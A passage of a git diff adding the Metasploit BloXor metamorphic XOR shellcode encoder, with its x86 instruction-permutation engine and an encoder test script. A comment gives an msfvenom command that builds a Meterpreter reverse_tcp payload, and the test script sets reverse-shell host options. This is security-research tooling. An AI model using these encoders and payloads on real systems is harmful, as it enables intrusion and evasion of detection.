#$stderr.puts "#{permutation.name} - #{ "0x%08X (%d)" % [ permutation.offset, permutation.length] } " + raw << permutation.render + end + return raw + end + + end + + # + # Create a new machine instance. + # + def initialize( badchars, cpu ) + @badchars = badchars + @cpu = cpu + + @reg_available = ::Array.new + @reg_consumed = ::Array.new + @variables = ::Hash.new + @blocks = ::Hash.new + @primitives = ::Hash.new + @solution = Solution.new + + _create_primitives + + @blocks['begin'] = Block.new( 'begin' ) + @blocks['begin'] << SymbolicPermutation.new( 'begin', self ) + + _create_variable( 'temp' ) + end + + # + # Overloaded by a subclass to return the maximum native general register size supported. + # + def native_size + nil + end + + # + # Use METASM to assemble a line of asm using this machines current cpu. + # + def assemble( asm ) + return Metasm::Shellcode.assemble( @cpu, asm ).encode_string + end + + # + # Check if a data blob is valid against the badchar list (or perform any other validation here) + # + def is_valid?( data ) + if( data.nil? ) + return false + end + return Rex::Text.badchar_index( data, @badchars ).nil? + end + + # + # Generate a 64 bit number whoes bytes are valid in this machine. + # + def make_safe_qword( number=nil ) + return _make_safe_number( QWORD, number ) & 0xFFFFFFFFFFFFFFFF + end + + # + # Generate a 32 bit number whoes bytes are valid in this machine. + # + def make_safe_dword( number=nil ) + return _make_safe_number( DWORD, number ) & 0xFFFFFFFF + end + + # + # Generate a 16 bit number whoes bytes are valid in this machine. + # + def make_safe_word( number=nil ) + return _make_safe_number( WORD, number ) & 0xFFFF + end + + # + # Generate a 8 bit number whoes bytes are valid in this machine. + # + def make_safe_byte( number=nil ) + return _make_safe_number( BYTE, number ) & 0xFF + end + + # + # Create a variable by name which will be assigned a register during generation. We can + # optionally assign a static register value to a variable if needed. + # + def create_variable( name, reg=nil ) + # Sanity check we aren't trying to create one of the reserved variables. + if( name == 'temp' ) + raise RuntimeError, "Unable to create variable, '#{name}' is a reserved variable name." + end + return _create_variable( name, reg ) + end + + # + # If the temp variable was assigned we release it. + # + def release_temp_variable + if( @variables['temp'] ) + regnum = @variables['temp'] + # Sanity check the temp variable was actually assigned (it may not have been if the last permutation didnot use it) + if( regnum ) + # place the assigned register back in the available list for consumption later. + @reg_available.push( @reg_consumed.delete( regnum ) ) + # unasign the temp vars register + @variables['temp'] = nil + return true + end + end + return false + end + + # + # Resolve a variable name into its currently assigned register value. + # + def variable_value( name, size=nil ) + # Sanity check we this variable has been created + if( not @variables.has_key?( name ) ) + raise RuntimeError, "Unknown register '#{name}'." + end + # Pull out its current register value if it has been assigned one + regnum = @variables[ name ] + if( not regnum ) + regnum = @reg_available.pop + if( not regnum ) + raise RuntimeError, "Unable to assign variable '#{name}' a register value, none available." + end + # and add it to the consumed list so we can track it later + @reg_consumed << regnum + # and now assign the variable the register + @variables[ name ] = regnum + end + # resolve the register number int a string representation (e.g. 0 in x86 is EAX if size is 32) + return _register_value( regnum, size ) + end + + # + # Check this solution is still currently valid (as offsets change it may not be). + # + def solution_is_valid? + return self.is_valid?( @solution.buffer ) + end + + # + # As the solution advances we save state for each permutation step in the solution. This lets + # use rewind at a later stage if the solving algorithm wishes to perform some backtracking. + # + def solution_push( permutation ) + @solution.push( permutation, @reg_available, @reg_consumed, @variables ) + end + + # + # Backtrack one step in the solution and restore the register/variable state. + # + def solution_pop + permutation, @reg_available, @reg_consumed, @variables = @solution.pop + + @reg_available.push( @reg_available.shift ) + end + + # + # Create a block by name and add in its list of permutations. + # + # XXX: this doesnt support the fuzzy order of block dependencies ala the origional rex::poly + def create_block( name, *permutation_sources ) + # Sanity check we aren't trying to create one of the reserved symbolic blocks. + if( name == 'begin' or name == 'end' ) + raise RuntimeError, "Unable to add block, '#{name}' is a reserved block name." + end + # If this is the first time this block is being created, create the block object to hold the permutation list + if( not @blocks[name] ) + @blocks[name] = Block.new( name ) + end + # Now create a new permutation object for every one supplied. + permutation_sources.each do | source | + @blocks[name] << Permutation.new( name, '', self, source ) + end + return name + end + + # + # Create a block which is based on a primitive defined by this machine. + # + def create_block_primitive( block_name, primitive_name, *args ) + # Santiy check this primitive is actually available and is not an internal primitive (begins with an _). + if( not @primitives[primitive_name] or primitive_name[0] == "_" ) + raise RuntimeError, "Unable to add block, Primitive '#{primitive_name}' is not available." + end + # Sanity check we aren't trying to create one of the reserved symbolic blocks. + if( block_name == 'begin' or block_name == 'end' ) + raise RuntimeError, "Unable to add block, '#{block_name}' is a reserved block name." + end + return _create_block_primitive( block_name, primitive_name, *args ) + end + + # + # Get the offset for a blocks active permutation. This is easy for backward references as + # they will already have been rendered and their sizes known. For forward references we + # can't know in advance but the correct value can be known later once the final solution is + # available and a final pass to generate the raw buffer is made. + # + def block_offset( name ) + if( name == 'end' ) + return @solution.offset + elsif( @blocks[name] ) + @blocks[name].each do | permutation | + if( permutation.active ) + return permutation.offset + end + end + end + # If we are forward referencing a block it will be at least the current solutions offset +1 + return @solution.offset + 1 + end + + # + # Does a given block exist? + # + def block_exist?( name ) + return @blocks.include?( name ) + end + + # + # Does a given block exist? + # + def variable_exist?( name ) + return @variables.include?( name ) + end + + # XXX: ambiguity between variable names and block name may introduce confusion!!! make them be unique. + + # + # Resolve a given value into either a number literal, a block offset or + # a variables assigned register. + # + def resolve_value( value, size=nil ) + if( block_exist?( value ) ) + return block_offset( value ) + elsif( variable_exist?( value ) ) + return variable_value( value, size ) + end + return value.to_i + end + + # + # Get the block previous to the target block. + # + def block_previous( target_block ) + previous_block = nil + @blocks.each_key do | current_block | + if( current_block == target_block ) + return previous_block + end + previous_block = current_block + end + return nil + end + + # + # Get the block next to the target block. + # + def block_next( target_block ) + @blocks.each_key do | current_block | + if( block_previous( current_block ) == target_block ) + return current_block + end + end + return nil + end + + # + # Try to generate a solution. + # + def generate + + if( @blocks.has_key?( 'end' ) ) + @blocks.delete( 'end' ) + end + + @blocks['end'] = Block.new( 'end' ) + @blocks['end'] << SymbolicPermutation.new( 'end', self, 1 ) + + # Mix up the permutation orders for each block and create the tree structure. + previous = ::Array.new + @blocks.each_value do | block | + # Shuffle the order of the blocks permutations. + block.shuffle + # create the tree by adding the current blocks permutations as children of the previous block. + current = ::Array.new + block.each do | permutation | + permutation.remove_children + previous.each do | prev | + prev.add_child( permutation ) + end + current << permutation + end + previous = current + end + + # Shuffle the order of the available registers + @reg_available = @reg_available.shuffle + + # We must try every permutation of the register orders, so if we fail to + # generate a solution we rotate the available registers to try again with + # a different order. This ensures we perform and exhaustive search. + 0.upto( @reg_available.length - 1 ) do + + @solution.reset + + # Start from the root node in the solution space and generate a + # solution by traversing the solution space's tree structure. + if( @blocks['begin'].solve ) + # Return the solutions buffer (perform a last pass to fixup all offsets)... + return @solution.buffer + end + + @reg_available.push( @reg_available.shift ) + end + + # :( + nil + end + + # + # An UndefinedPermutation exception is raised when a permutation can't render yet + # as the conditions required are not yet satisfied. + # + class UndefinedPermutation < RuntimeError + def initialize( msg=nil ) + super + end + end + + # + # An UnallowedPermutation exception is raised when a permutation can't ever render + # as the conditions supplied are impossible to satisfy. + # + class UnallowedPermutation < RuntimeError + def initialize( msg=nil ) + super + end + end + + # + # An InvalidPermutation exception is raised when a permutation receives a invalid + # argument and cannot continue to render. This is a fatal exception. + # + class InvalidPermutation < RuntimeError + def initialize( msg=nil ) + super + end + end + + protected + + # + # Overloaded by a subclass to resolve a register number into a suitable register + # name for the target architecture. E.g on x64 the register number 0 with size 64 + # would resolve to RCX. Size is nil by default to indicate we want the default + # machine size, e.g. 32bit DWORD on x86 or 64bit QWORD on x64. + # + def _register_value( regnum, size=nil ) + nil + end + + # + # Perform the actual variable creation. + # + def _create_variable( name, reg=nil ) + regnum = nil + # Sanity check this variable has not already been created. + if( @variables[name] ) + raise RuntimeError, "Variable '#{name}' is already created." + end + # If a fixed register is being assigned to this variable then resolve it + if( reg ) + # Resolve the register name into a register number + @reg_available.each do | num | + if( _register_value( num ) == reg.downcase ) + regnum = num + break + end + end + # If an invalid register name was given or the chosen register is not available we must fail. + if( not regnum ) + raise RuntimeError, "Register '#{reg}' is unknown or unavailable." + end + # Sanity check another variable isnt assigned this register + if( @variables.has_value?( regnum ) ) + raise RuntimeError, "Register number '#{regnum}' is already consumed by variable '#{@variables[name]}'." + end + # Finally we consume the register chosen so we dont select it again later. + @reg_consumed << @reg_available.delete( regnum ) + end + # Create the variable and assign it a register number (or nil if not yet assigned) + @variables[name] = regnum + return name + end + + # + # Create a block which is based on a primitive defined by this machine. + # + def _create_block_primitive( block_name, primitive_name, *args ) + # If this is the first time this block is being created, create the array to hold the permutation list + if( not @blocks[block_name] ) + @blocks[block_name] = Block.new( block_name ) + end + # Now create a new permutation object for every one supplied. + @primitives[primitive_name].each do | source | + @blocks[block_name] << Permutation.new( block_name, primitive_name, self, source, args ) + end + return block_name + end + + # + # Overloaded by a subclass to create any primitives available in this machine. + # + def _create_primitives + nil + end + + # + # Rex::Poly::Machine::Primitive + # + def _create_primitive( name, *permutations ) + # If this is the first time this primitive is being created, create the array to hold the permutation list + if( not @primitives[name] ) + @primitives[name] = ::Array.new + end + # Add in the permutation object (Rex::Poly::Machine::Primitive) for every one supplied. + permutations.each do | permutation | + @primitives[name] << Primitive.new( permutation ) + end + end + + # + # Helper function to generate a number whoes byte representation is valid in this + # machine (does not contain any badchars for example). Optionally we can supply a + # number and the resulting addition/subtraction of this number against the newly + # generated value is also tested for validity. This helps in the assembly primitives + # which can use these values. + # + def _make_safe_number( bytes, number=nil ) + format = '' + if( bytes == BYTE ) + format = 'C' + elsif( bytes == WORD ) + format = 'v' + elsif( bytes == DWORD ) + format = 'V' + elsif( bytes == QWORD ) + format = 'Q' + else + raise RuntimeError, "Invalid size '#{bytes}' used in _make_safe_number." + end + + goodchars = (0..255).to_a + + @badchars.unpack( 'C*' ).each do | b | + goodchars.delete( b.chr ) + end + + while( true ) do + value = 0 + + 0.upto( bytes-1 ) do | i | + value |= ( (goodchars[ rand(goodchars.length) ] << i*8) & (0xFF << i*8) ) + end + + if( not is_valid?( [ value ].pack(format) ) or not is_valid?( [ ~value ].pack(format) ) ) + redo + end + + if( not number.nil? ) + if( not is_valid?( [ value + number ].pack(format) ) or not is_valid?( [ value - number ].pack(format) ) ) + redo + end + end + + break + end + + return value + end + + end + + end + +end diff --git a/lib/rex/poly/machine/x86.rb b/lib/rex/poly/machine/x86.rb new file mode 100644 index 0000000000..e72d7aa2d7 --- /dev/null +++ b/lib/rex/poly/machine/x86.rb @@ -0,0 +1,508 @@ + +module Rex + + module Poly + + # + # A subclass to represent a Rex poly machine on the x86 architecture. + # + class MachineX86 < Rex::Poly::Machine + + def initialize( badchars='', consume_base_pointer=nil, consume_stack_pointer=true ) + super( badchars, Metasm::Ia32.new ) + + @reg_available << Rex::Arch::X86::EAX + @reg_available << Rex::Arch::X86::EBX + @reg_available << Rex::Arch::X86::ECX + @reg_available << Rex::Arch::X86::EDX + @reg_available << Rex::Arch::X86::ESI + @reg_available << Rex::Arch::X86::EDI + @reg_available << Rex::Arch::X86::EBP + @reg_available << Rex::Arch::X86::ESP + + # By default we consume the EBP register if badchars contains \x00. This helps speed + # things up greatly as many instructions opperating on EBP introduce a NULL byte. For + # example, a MOV instruction with EAX as the source operand is as follows: + # 8B08 mov ecx, [eax] + # but the same instruction with EBP as the source operand is as follows: + # 8B4D00 mov ecx, [ebp] ; This is assembled as 'mov ecx, [ebp+0]' + # we can see that EBP is encoded differently with an offset included. We can still + # try to generate a solution with EBP included and \x00 in the badchars list but + # it can take considerably longer. + if( ( consume_base_pointer.nil? and not Rex::Text.badchar_index( "\x00", @badchars ).nil? ) or consume_base_pointer == true ) + create_variable( 'base_pointer', 'ebp' ) + end + + # By default we consume the ESP register to avoid munging the stack. + if( consume_stack_pointer ) + create_variable( 'stack_pointer', 'esp' ) + end + + # discover all the safe FPU instruction we can use. + @safe_fpu_instructions = ::Array.new + Rex::Arch::X86.fpu_instructions.each do | fpu | + if( is_valid?( fpu ) ) + @safe_fpu_instructions << fpu + end + end + end + + # + # The general purpose registers are 32bit + # + def native_size + Rex::Poly::Machine::DWORD + end + + # + # Overload this method to intercept the 'set' primitive with the 'location' keyword + # and create the block with the '_set_variable_location'. We do this to keep a + # consistent style. + # + def create_block_primitive( block_name, primitive_name, *args ) + if( primitive_name == 'set' and args.length == 2 and args[1] == 'location' ) + _create_block_primitive( block_name, '_set_variable_location', args[0] ) + else + super + end + end + + # + # XXX: If we have a loop primitive, it is a decent speed bump to force the associated variable + # of the first loop primitive to be assigned as ECX (for the x86 LOOP instruction), this is not + # neccasary but can speed generation up significantly. + # + #def generate + # @blocks.each_value do | block | + # if( block.first.primitive == 'loop' ) + # @variables.delete( block.first.args.first ) + # create_variable( block.first.args.first, 'ecx' ) + # break + # end + # end + # # ...go go go + # super + #end + + protected + + # + # Resolve a register number into a suitable register name. + # + def _register_value( regnum, size=nil ) + value = nil + # we default to a native 32 bits if no size is specified. + if( size.nil? ) + size = native_size() + end + + if( size == Rex::Poly::Machine::DWORD ) + value = Rex::Arch::X86::REG_NAMES32[ regnum ] + elsif( size == Rex::Poly::Machine::WORD ) + value = Rex::Arch::X86::REG_NAMES16[ regnum ] + elsif( size == Rex::Poly::Machine::BYTE ) + # (will return nil for ESI,EDI,EBP,ESP) + value = Rex::Arch::X86::REG_NAMES8L[ regnum ] + else + raise RuntimeError, "Register number '#{regnum}' (size #{size.to_i}) is unavailable." + end + return value + end + + # + # Create the x86 primitives. + # + def _create_primitives + + # + # Create the '_set_variable_location' primitive. The first param it the variable to place the current + # blocks location value in. + # + _create_primitive( '_set_variable_location', + ::Proc.new do | block, machine, variable | + if( @safe_fpu_instructions.empty? ) + raise UnallowedPermutation + end + [ + "dw #{ "0x%04X" % [ @safe_fpu_instructions[ rand(@safe_fpu_instructions.length) ].unpack( 'v' ).first ] }", + "mov #{machine.variable_value( 'temp' )}, esp", + "fnstenv [ #{machine.variable_value( 'temp' )} - 12 ]", + "pop #{machine.variable_value( variable )}" + ] + end, + ::Proc.new do | block, machine, variable | + if( @safe_fpu_instructions.empty? ) + raise UnallowedPermutation + end + [ + "dw #{ "0x%04X" % [ @safe_fpu_instructions[ rand(@safe_fpu_instructions.length) ].unpack( 'v' ).first ] }", + "mov #{machine.variable_value( 'temp' )}, esp", + "fnstenv [ #{machine.variable_value( 'temp' )} - 12 ]", + "pop #{machine.variable_value( variable )}" + ] + end, + ::Proc.new do | block, machine, variable | + if( @safe_fpu_instructions.empty? ) + raise UnallowedPermutation + end + [ + "dw #{ "0x%04X" % [ @safe_fpu_instructions[ rand(@safe_fpu_instructions.length) ].unpack( 'v' ).first ] }", + "push esp", + "pop #{machine.variable_value( 'temp' )}", + "fnstenv [ #{machine.variable_value( 'temp' )} - 12 ]", + "pop #{machine.variable_value( variable )}" + ] + end, + ::Proc.new do | block, machine, variable | + if( @safe_fpu_instructions.empty? ) + raise UnallowedPermutation + end + [ + "dw #{ "0x%04X" % [ @safe_fpu_instructions[ rand(@safe_fpu_instructions.length) ].unpack( 'v' ).first ] }", + "fnstenv [ esp - 12 ]", + "pop #{machine.variable_value( variable )}" + ] + end, + ::Proc.new do | block, machine, variable | + [ + "call $+5", + "pop #{machine.variable_value( variable )}", + "push #{machine.block_offset( block ) + 5}", + "pop #{machine.variable_value( 'temp' )}", + "sub #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}" + ] + end, + ::Proc.new do | block, machine, variable | + [ + "db 0xE8, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0", + "pop #{machine.variable_value( variable )}", + "push #{machine.block_offset( block ) + 5}", + "pop #{machine.variable_value( 'temp' )}", + "sub #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}" + ] + end + ) + + # + # Create the 'loop' primitive. The first param it the counter variable which holds the number of + # times to perform the loop. The second param it the destination block to loop to. + # + _create_primitive( 'loop', + ::Proc.new do | block, machine, counter, destination | + if( machine.variable_value( counter ) != Rex::Arch::X86::REG_NAMES32[ Rex::Arch::X86::ECX ] ) + # we raise and UndefinedPermutation exception to indicate that untill a valid register (ECX) is + # chosen we simply can't render this. This lets the machine know we can still try to use this + # permutation and at a later stage the requirements (counter==ecx) may be satisfied. + raise UndefinedPermutation + end + offset = -( machine.block_offset( machine.block_next( block ) ) - machine.block_offset( destination ) ) + Rex::Arch::X86.loop( offset ) + end, + ::Proc.new do | block, machine, counter, destination | + offset = -( machine.block_offset( machine.block_next( block ) ) - machine.block_offset( destination ) ) + [ + "dec #{machine.variable_value( counter )}", + "test #{machine.variable_value( counter )}, #{machine.variable_value( counter )}", + # JNZ destination + "db 0x0F, 0x85 dd #{ "0x%08X" % [ offset & 0xFFFFFFFF ] }" + ] + end + ) + + # + # Create the 'xor' primitive. The first param it the variable to xor with the second param value which + # can be either a variable, literal or block offset. + # + _create_primitive( 'xor', + ::Proc.new do | block, machine, variable, value | + [ + "xor #{machine.variable_value( variable )}, #{machine.resolve_value( value )}" + ] + end, + ::Proc.new do | block, machine, variable, value | + # a ^ b == (a | b) & ~(a & b) + [ + "mov #{machine.variable_value( 'temp' )}, #{machine.variable_value( variable )}", + "or #{machine.variable_value( 'temp' )}, #{machine.resolve_value( value )}", + "and #{machine.variable_value( variable )}, #{machine.resolve_value( value )}", + "not #{machine.variable_value( variable )}", + "and #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}" + ] + end + ) + + # + # Create the 'goto' primitive. The first param is a destination block to jump to. + # + _create_primitive( 'goto', + ::Proc.new do | block, machine, destination | + offset = -( machine.block_offset( machine.block_next( block ) ) - machine.block_offset( destination ) ) + if( ( offset > 0 and offset > 127 ) or ( offset < 0 and offset < -127 ) ) + raise UnallowedPermutation + end + [ + # short relative jump + "db 0xEB db #{ "0x%02X" % [ offset & 0xFF ] }" + ] + end, + ::Proc.new do | block, machine, destination | + offset = -( machine.block_offset( machine.block_next( block ) ) - machine.block_offset( destination ) ) + [ + # near relative jump + "db 0xE9 dd #{ "0x%08X" % [ offset & 0xFFFFFFFF ] }" + ] + end + ) + + # + # Create the 'add' primitive. The first param it the variable which will be added to the second + # param, which may either be a literal number value, a variables assigned register or a block + # name, in which case the block offset will be used. + # + _create_primitive( 'add', + ::Proc.new do | block, machine, variable, value | + if( machine.variable_exist?( value ) ) + raise UnallowedPermutation + end + [ + "lea #{machine.variable_value( variable )}, [ #{machine.variable_value( variable )} + #{machine.resolve_value( value )} ]" + ] + end, + ::Proc.new do | block, machine, variable, value | + [ + "push #{machine.resolve_value( value )}", + "add #{machine.variable_value( variable )}, [esp]", + "pop #{machine.variable_value( 'temp' )}" + ] + end, + ::Proc.new do | block, machine, variable, value | + [ + "add #{machine.variable_value( variable )}, #{machine.resolve_value( value )}" + ] + end, + ::Proc.new do | block, machine, variable, value | + if( machine.variable_exist?( value ) ) + raise UnallowedPermutation + end + [ + "sub #{machine.variable_value( variable )}, #{ "0x%08X" % [ ~(machine.resolve_value( value ) - 1) & 0xFFFFFFFF ] }" + ] + end + # ::Proc.new do | block, machine, variable, value | + # if( machine.variable_exist?( value ) ) + # raise UnallowedPermutation + # end + # [ + # "push #{ "0x%08X" % [ ~(machine.resolve_value( value ) - 1) & 0xFFFFFFFF ] }", + # "pop #{machine.variable_value( 'temp' )}", + # "not #{machine.variable_value( 'temp' )}", + # "add #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}" + # ] + # end, + # ::Proc.new do | block, machine, variable, value | + # if( machine.variable_exist?( value ) ) + # raise UnallowedPermutation + # end + # [ + # "xor #{machine.variable_value( 'temp' )}, #{machine.variable_value( 'temp' )}", + # "mov #{machine.variable_value( 'temp', 16 )}, #{ "0x%04X" % [ ~(machine.resolve_value( value ) - 1) & 0xFFFF ] }", + # "not #{machine.variable_value( 'temp', 16 )}", + # "add #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}" + # ] + # end, + ) + + # + # Create the 'set' primitive. The first param it the variable which will be set. the second + # param is the value to set the variable to (a variable, block or literal). + # + _create_primitive( 'set', + ::Proc.new do | block, machine, variable, value | + if( machine.variable_exist?( value ) ) + raise UnallowedPermutation + end + [ + "push #{ "0x%08X" % [ ~machine.resolve_value( value ) & 0xFFFFFFFF ] }", + "pop #{machine.variable_value( variable )}", + "not #{machine.variable_value( variable )}" + ] + end, + ::Proc.new do | block, machine, variable, value | + if( machine.variable_exist?( value ) ) + raise UnallowedPermutation + end + if( machine.resolve_value( value, WORD ) > 0xFFFF ) + raise UndefinedPermutation + end + [ + "xor #{machine.variable_value( variable )}, #{machine.variable_value( variable )}", + "mov #{machine.variable_value( variable, WORD )}, #{ "0x%04X" % [ ~machine.resolve_value( value, WORD ) & 0xFFFF ] }", + "not #{machine.variable_value( variable, WORD )}" + ] + end, + ::Proc.new do | block, machine, variable, value | + [ + "push #{machine.resolve_value( value )}", + "pop #{machine.variable_value( variable )}" + ] + end, + ::Proc.new do | block, machine, variable, value | + [ + "mov #{machine.variable_value( variable )}, #{machine.resolve_value( value )}" + ] + end, + ::Proc.new do | block, machine, variable, value | + if( machine.variable_exist?( value ) ) + raise UnallowedPermutation + end + if( machine.resolve_value( value, WORD ) > 0xFFFF ) + raise UndefinedPermutation + end + [ + "xor #{machine.variable_value( variable )}, #{machine.variable_value( variable )}", + "mov #{machine.variable_value( variable, WORD )}, #{ "0x%04X" % [ machine.resolve_value( value, WORD ) & 0xFFFF ] }" + ] + end, + ::Proc.new do | block, machine, variable, value | + if( machine.variable_exist?( value ) ) + raise UnallowedPermutation + end + dword = machine.make_safe_dword( machine.resolve_value( value ) ) + [ + "mov #{machine.variable_value( variable )}, #{ "0x%08X" % [ dword ] }", + "sub #{machine.variable_value( variable )}, #{ "0x%08X" % [ dword - machine.resolve_value( value ) ] }" + ] + end, + ::Proc.new do | block, machine, variable, value | + if( machine.variable_exist?( value ) ) + raise UnallowedPermutation + end + dword = machine.make_safe_dword( machine.resolve_value( value ) ) + [ + "mov #{machine.variable_value( variable )}, #{ "0x%08X" % [ dword - machine.resolve_value( value ) ] }", + "add #{machine.variable_value( variable )}, #{ "0x%08X" % [ ~dword & 0xFFFFFFFF ] }", + "not #{machine.variable_value( variable )}" + ] + end + ) + + # + # Create the 'load' primitive. The first param it the variable which will be set. The second + # param is the value (either a variable or literal) to load from. the third param is the size + # of the load operation, either DWORD, WORD or BYTE. + # + _create_primitive( 'load', + ::Proc.new do | block, machine, variable, value, size | + result = nil + if( size == Rex::Poly::Machine::DWORD ) + result = [ "mov #{machine.variable_value( variable )}, [#{machine.resolve_value( value )}]" ] + elsif( size == Rex::Poly::Machine::WORD ) + result = [ "movzx #{machine.variable_value( variable )}, word [#{machine.resolve_value( value )}]" ] + elsif( size == Rex::Poly::Machine::BYTE ) + result = [ "movzx #{machine.variable_value( variable )}, byte [#{machine.resolve_value( value )}]" ] + else + raise InvalidPermutation + end + result + end, + ::Proc.new do | block, machine, variable, value, size | + result = nil + if( size == Rex::Poly::Machine::DWORD ) + # we raise and UnallowedPermutation here as this permutation should only satisfy requests for + # sizes of WORD or BYTE, any DWORD requests will be satisfied by the above permutation (otherwise + # we would just be duplicating a 'mov dest, [src]' sequence which is the same as above. + raise UnallowedPermutation + elsif( size == Rex::Poly::Machine::WORD ) + result = [ + "mov #{machine.variable_value( variable )}, [#{machine.resolve_value( value )}]", + "shl #{machine.variable_value( variable )}, 16", + "shr #{machine.variable_value( variable )}, 16" + ] + elsif( size == Rex::Poly::Machine::BYTE ) + result = [ + "mov #{machine.variable_value( variable )}, [#{machine.resolve_value( value )}]", + "shl #{machine.variable_value( variable )}, 24", + "shr #{machine.variable_value( variable )}, 24" + ] + else + raise InvalidPermutation + end + result + end, + ::Proc.new do | block, machine, variable, value, size | + result = nil + if( size == Rex::Poly::Machine::DWORD ) + result = [ + "push [#{machine.resolve_value( value )}]", + "pop #{machine.variable_value( variable )}" + ] + elsif( size == Rex::Poly::Machine::WORD ) + result = [ + "push [#{machine.resolve_value( value )}]", + "pop #{machine.variable_value( variable )}", + "shl #{machine.variable_value( variable )}, 16", + "shr #{machine.variable_value( variable )}, 16" + ] + elsif( size == Rex::Poly::Machine::BYTE ) + result = [ + "push [#{machine.resolve_value( value )}]", + "pop #{machine.variable_value( variable )}", + "shl #{machine.variable_value( variable )}, 24", + "shr #{machine.variable_value( variable )}, 24" + ] + else + raise InvalidPermutation + end + result + end + ) + + # + # Create the 'store' primitive. + # + _create_primitive( 'store', + ::Proc.new do | block, machine, variable, value, size | + result = nil + if( size == Rex::Poly::Machine::DWORD ) + result = [ "mov [#{machine.variable_value( variable )}], #{machine.resolve_value( value )}" ] + elsif( size == Rex::Poly::Machine::WORD ) + result = [ "mov word [#{machine.variable_value( variable )}], #{machine.resolve_value( value, WORD )}" ] + elsif( size == Rex::Poly::Machine::BYTE ) + if( machine.resolve_value( value, BYTE ).nil? ) + # so long as we cant resolve the variable to an 8bit register value (AL,BL,CL,DL) we must raise + # an UndefinedPermutation exception (this will happen when the variable has been assigned to ESI, + # EDI, EBP or ESP which dont have a low byte representation) + raise UndefinedPermutation + end + result = [ "mov byte [#{machine.variable_value( variable )}], #{machine.resolve_value( value, BYTE )}" ] + else + raise InvalidPermutation + end + result + end, + ::Proc.new do | block, machine, variable, value, size | + result = nil + if( size == Rex::Poly::Machine::DWORD ) + result = [ + "push #{machine.resolve_value( value )}", + "pop [#{machine.variable_value( variable )}]" + ] + elsif( size == Rex::Poly::Machine::WORD ) + result = [ + "push #{machine.resolve_value( value, WORD )}", + "pop word [#{machine.variable_value( variable )}]" + ] + else + # we can never do this permutation for BYTE size (or any other size) + raise UnallowedPermutation + end + result + end + ) + end + + end + + end + +end \ No newline at end of file diff --git a/modules/encoders/x86/bloxor.rb b/modules/encoders/x86/bloxor.rb new file mode 100644 index 0000000000..a2577bc89f --- /dev/null +++ b/modules/encoders/x86/bloxor.rb @@ -0,0 +1,58 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rex/encoder/bloxor/bloxor' + +# +# BloXor is a cross architecture metamorphic block based xor encoder/decoder for Metasploit. +# BloXor was inspired by the Shikata Ga Nai encoder (./msf/modules/encoders/x86/shikata_ga_nai.rb) +# by spoonm and the Rex::Poly::Block (./msf/lib/rex/poly/block.rb) code by skape. +# +# Please refer to ./msf/lib/rex/encoder/bloxor/bloxor.rb for BloXor's implementation and to +# ./msf/lib/rex/poly/machine/machine.rb and ./msf/lib/rex/poly/machine/x86.rb for the +# backend metamorphic stuff. +# +# A presentation at AthCon 2012 by Dimitrios A. Glynos called 'Packing Heat!' discusses a +# metamorphic packer for PE executables and also uses METASM. I am unaware of any code having +# been publicly released for this, so am unable to compare implementations. +# http://census-labs.com/media/packing-heat.pdf +# +# Manually check the output with the following command: +# >ruby msfvenom -p windows/meterpreter/reverse_tcp RHOST=192.168.2.2 LHOST=192.168.2.1 LPORT=80 -a x86 -e x86/bloxor -b '\x00' -f raw | ndisasm -b32 -k 128,1 - +# + +class Metasploit3 < Rex::Encoder::BloXor + + # Note: Currently set to manual, bump it up to automatically get selected by the framework. + # Note: BloXor by design is slow due to its exhaustive search for a solution. + Rank = ManualRanking + + def initialize + super( + 'Name' => 'BloXor - A Metamorphic Block Based XOR Encoder', + 'Version' => '$Revision$', + 'Description' => 'A Metamorphic Block Based XOR Encoder.', + 'Author' => [ 'sf' ], + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'EncoderType' => Msf::Encoder::Type::Unspecified + ) + end + + def compute_decoder( state ) + + @machine = Rex::Poly::MachineX86.new( state.badchars ) + + super( state ) + end + +end diff --git a/test/tests/test_encoders.rb b/test/tests/test_encoders.rb new file mode 100644 index 0000000000..d59df128ea --- /dev/null +++ b/test/tests/test_encoders.rb @@ -0,0 +1,119 @@ +# +# Simple script to test a group of encoders against every exploit in the framework, +# specifically for the exploits badchars, to see if a payload can be encoded. We ignore +# the target arch/platform of the exploit as we just want to pull out real world bad chars. +# + +msfbase = __FILE__ +while File.symlink?(msfbase) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) +end + +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) + +require 'fastlib' +require 'msfenv' +require 'msf/base' + +$msf = Msf::Simple::Framework.create + +EXPLOITS = $msf.exploits + +def print_line( message ) + $stdout.puts( message ) +end + +def format_badchars( badchars ) + str = '' + if( badchars ) + badchars.each_byte do | b | + str << "\\x%02X" % [ b ] + end + end + str +end + +def encoder_v_payload( encoder_name, payload, verbose=false ) + success = 0 + fail = 0 + EXPLOITS.each_module do | name, mod | + + exploit = mod.new + print_line( "\n#{encoder_name} v #{name} (#{ format_badchars( exploit.payload_badchars ) })" ) if verbose + begin + encoder = $msf.encoders.create( encoder_name ) + raw = encoder.encode( payload, exploit.payload_badchars, nil, nil ) + success += 1 + rescue + print_line( " FAILED! badchars=#{ format_badchars( exploit.payload_badchars ) }\n" ) if verbose + fail += 1 + end + end + return [ success, fail ] +end + +def generate_payload( name ) + + payload = $msf.payloads.create( name ) + + # set options for a reverse_tcp payload + payload.datastore['LHOST'] = '192.168.2.1' + payload.datastore['RHOST'] = '192.168.2.254' + payload.datastore['RPORT'] = '5432' + payload.datastore['LPORT'] = '4444' + # set options for an exec payload + payload.datastore['CMD'] = 'calc' + # set generic options + payload.datastore['EXITFUNC'] = 'thread' + + return payload.generate +end + +def run( encoders, payload_name, verbose=false ) + + payload = generate_payload( payload_name ) + + table = Rex::Ui::Text::Table.new( + 'Header' => 'Encoder v Payload Test - ' + ::Time.new.strftime( "%d-%b-%Y %H:%M:%S" ), + 'Indent' => 4, + 'Columns' => [ 'Encoder Name', 'Success', 'Fail' ] + ) + + encoders.each do | encoder_name | + + success, fail = encoder_v_payload( encoder_name, payload, verbose 